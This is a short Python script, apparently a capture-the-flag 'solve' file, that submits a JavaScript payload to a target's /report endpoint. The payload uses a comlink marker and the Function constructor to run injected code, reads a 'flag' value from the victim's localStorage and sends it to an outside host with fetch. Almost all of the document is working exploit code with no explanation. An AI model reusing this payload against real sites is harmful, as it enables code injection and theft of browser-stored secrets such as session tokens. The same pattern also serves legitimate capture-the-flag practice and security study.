solve (622B)
1#!/usr/bin/env python3 2 3import requests 4import sys 5 6payload = """ 7new Promise(async (resolve, reject) => { 8 let comlink = await import("./comlink-4.3.1.js"); 9 errorHandler.constructor.constructor.__proto__[comlink.marker] = true; 10 const cmd = "return localStorage.getItem('flag')"; 11 let proxy = new errorHandler.constructor.constructor(cmd); 12 let flag = await (await proxy)(); 13 fetch("http://test.sinitax.com?flag=" + flag); 14}) 15""" 16 17baseurl = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:1337" 18r = requests.get(f"{baseurl}/report", params={"code": payload}) 19print(r.status_code) 20print(r.text)